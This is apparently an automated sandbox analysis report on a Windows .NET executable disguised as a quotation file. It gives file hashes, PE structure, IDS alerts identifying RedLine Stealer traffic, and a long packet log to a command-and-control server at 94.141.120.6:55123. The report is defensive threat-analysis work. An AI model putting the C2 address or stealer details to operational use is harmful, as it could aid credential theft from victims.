Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEF5E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421815411500204
Encrypted:	false
SSDEEP:	6144:MSvfpi6ceLP/9skLmb0OTDWSPHaJG8nAgeMZMMhA2fX4WABlEnNQ0uhiTw:3vloTDW+EZMM6DFye03w
MD5:	7A15CE9C933C39BAA99D3FF79DCEAD0A
SHA1:	6E82A17CA2B79FF7FC2190D3EFEF6E980C9F034F
SHA-256:	A5D123EC2DB47C12E4C4A89C89ACC2736325613350188F81FE8714E739534B72
SHA-512:	79C9191A19C0AE1EE459D6DE66B7CDA3795F31BDDC1909299F27F33DAFB9A4F73F46B623B2E84AB1F144F5AE9485D61FCE3F951F498BEC68CB0EC3D86446D363
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm"Mw.0,................................................................................................................................................................................................................................................................................................................................................`.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.341968188574336
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	QUOTATION#09678.exe
File size:	2'789'519 bytes
MD5:	4e5909728a72eb29f5cf1fe01867c982
SHA1:	8d0638e33dd590d0ca6ad6918d7e3e25762613d4
SHA256:	e87c540a4074fccadf3a56a1a0ef71bc952382d21c366c2a969e8d52bb25d609
SHA512:	51f58be1e03e72a50d37599d3ffa91bcdb604e09e50e76557a38933077c7479e26b3a399b830ef7d4b4d4ef0588c624746a901199473414fc2156ddc72a5ddf1
SSDEEP:	12288:xnjVswcPUvDQVeGqHmPkaoyyMO/xA3lhSWN54ae:xjWwcPuDoAaoXaqWN54p
TLSH:	A5D5F0923E07AD27BC081622D5E976FD06FE4C2F7CF1A21FCF596EA586621BC1152831
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....f#g.........."...0..(............... ....@...... ..............................U.*...`................................

File Icon


Icon Hash:	443ad8d4dc581348

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x672366A9 [Thu Oct 31 11:14:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x10ed6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4802	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x28a2	0x2a00	737d4fcd51db6f82f757feda29d93406	False	0.6140252976190477	data	6.206106925982057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x10ed6	0x11000	586ceefc155839d55247d98b790ae17b	False	0.06168141084558824	data	3.200143032892522	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6144	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2834 x 2834 px/m	0.05199337513308885
RT_GROUP_ICON	0x1696c	0x14	data	1.15
RT_VERSION	0x16980	0x36c	data	0.3938356164383562
RT_MANIFEST	0x16cec	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T08:37:02.327438+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.5	49704	94.141.120.6	55123	TCP
2024-11-01T08:37:07.276183+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	94.141.120.6	55123	192.168.2.5	49704	TCP
2024-11-01T08:37:07.762128+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.5	49704	94.141.120.6	55123	TCP
2024-11-01T08:37:10.843296+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	94.141.120.6	55123	192.168.2.5	49704	TCP
2024-11-01T08:37:10.843296+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	94.141.120.6	55123	192.168.2.5	49704	TCP
2024-11-01T08:37:10.894641+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.5	49712	94.141.120.6	55123	TCP
2024-11-01T08:37:15.616264+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.5	49714	TCP
2024-11-01T08:37:23.636487+0100	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.5	49754	94.141.120.6	55123	TCP
2024-11-01T08:37:53.032015+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.5	49907	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 08:37:00.696050882 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:00.701221943 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:00.701345921 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:00.716768026 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:00.721739054 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:01.062201023 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:01.067310095 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:02.174566984 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:02.327438116 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:07.270844936 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:07.270886898 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:07.276182890 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.276201010 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.761944056 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.761967897 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.761976004 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.761986971 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.761993885 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:07.762128115 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.837793112 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.837796926 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.842762947 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.842891932 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.843296051 CET	55123	49704	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.843554974 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.843555927 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.843709946 CET	49704	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.848380089 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848390102 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848433018 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848442078 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848448992 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848460913 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848469973 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.848490000 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.848623991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848633051 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848640919 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.848655939 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.848679066 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.848704100 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.853143930 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853249073 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.853343010 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853367090 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853369951 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853370905 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853373051 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853382111 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.853472948 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.894407034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.894640923 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.942322969 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.942656040 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:10.995064020 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:10.995304108 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:11.042387009 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:11.042516947 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:11.090372086 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:11.090797901 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:11.138484001 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:11.140851021 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:11.186655045 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:11.186726093 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:11.501812935 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.108704090 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.231906891 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.232029915 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.232104063 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.232265949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.232275009 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.237214088 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.237221956 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.237262964 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.237289906 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.242119074 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.242170095 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.242177963 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.242213011 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.246995926 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.247039080 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.247129917 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.247188091 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.251944065 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.251960993 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.251996040 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.252011061 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.256906033 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.256923914 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.256983995 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.261749983 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.261799097 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.261883020 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.261929035 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.266674995 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.266746998 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.266792059 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.266839981 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.271965027 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.271975994 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.271981955 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.272023916 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.272053003 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.276892900 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.276912928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.276920080 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.276976109 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.276993036 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.277070045 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.281866074 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.281889915 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.281898022 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.281919003 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.281951904 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.281994104 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.282001972 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.282046080 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.286813974 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286823988 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286839962 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286849022 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286879063 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.286907911 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.286946058 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286956072 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.286992073 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.291743040 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291793108 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.291798115 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291806936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291843891 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.291871071 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291914940 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.291940928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291949987 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.291991949 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.296698093 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296706915 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296721935 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296730042 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296756983 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.296797991 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.296866894 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296875000 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296890020 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.296916008 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.296933889 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.301659107 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301667929 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301682949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301691055 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301726103 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.301783085 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301826954 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.301860094 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301868916 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301886082 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301893950 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.301901102 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.301935911 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306683064 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306690931 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306740046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306740046 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306751966 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306778908 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306812048 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306819916 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306837082 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306854963 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306862116 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306863070 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306870937 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306876898 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306885004 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.306902885 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.306922913 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.311672926 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311681986 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311691046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311693907 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311727047 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311739922 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311760902 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.311800003 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.311902046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311919928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311928034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311935902 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.311954975 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.311969042 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316600084 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316629887 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316646099 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316648006 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316659927 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316668987 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316683054 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316690922 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316699028 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316709042 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316734076 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316762924 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316797018 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.316909075 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316916943 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316921949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.316952944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321619034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321630955 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321649075 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321666002 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321675062 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321682930 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321692944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321698904 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321706057 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321706057 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321736097 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321749926 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321763039 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321794033 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321799040 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321801901 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321814060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.321835041 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.321857929 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326541901 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326590061 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326601982 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326605082 CET	49712	55123	192.168.2.5	94.141.120.6
